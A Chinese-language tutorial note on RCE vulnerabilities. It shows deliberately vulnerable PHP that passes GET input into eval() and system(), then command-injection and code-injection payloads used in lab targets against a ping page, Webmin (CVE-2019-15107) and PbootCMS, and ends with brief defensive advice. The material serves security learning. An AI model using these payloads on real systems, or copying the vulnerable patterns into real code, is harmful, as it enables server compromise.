进阶篇 8. RCE漏洞

417 阅读1分钟

RCE漏洞概述

定义与危害

- RCE漏洞即Remote Code/Command Execution(远程代码执行和远程命令执行)
- 通过可控输入产生,可能让攻击者获取服务器命令执行权限

案例演示

  • 远程代码执行示例
<?php
    $code=$_GET['x'];
    eval($code);
?>
  • 远程命令执行示例
<?php
    $code=$_GET['x'];
    echo system($code);
?>

公开漏洞利用

  • 出现频率低,难碰见

  • 示例1

    • 开启靶场 www.mozhe.cn/bug/detail/…
    • 目标是运行在靶场的web,根据header获取信息,确认系统 image.png
    • 使用bp修改参数 iipp=127.0.0.1|cat>key_30558211529268.php &submit=Ping
    • 获取关键参数key
  • 示例2:PHP代码分析溯源

  • 示例3:公开漏洞利用

    • CVE-2019-15107漏洞在VUE环境测试
    • 利用Webmin的password_change.cgi文件中的代码执行漏洞
    POST /password_change.cgi HTTP/1.1
    user=rootxx&pam=&expired=2&old=test|cat ls &new1=test2&new2=test2
    user=rootxx&pam=&expired=2&old=test|cat /key.txt &new1=test2&new2=test2
    

CMS案例

PbootCMS
  • 测试留言板注入

AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}

  • 分析控制器源码查找漏洞原因

\apps\home\controller\AboutController.php
image.png image.png

SeaCms
  • 下载代码并部署
  • 查找不同页面的代码注入点
    • ip设置页面 image.png
    • 微信公众号设置页面 image.png
  • 使用审计工具进行审计 image.png

RCE漏洞防御

  • 在执行命令函数前进行检测和过滤
  • 避免使用危险函数或谨慎使用
  • eval()函数要确保数据安全,杜绝危险变量输入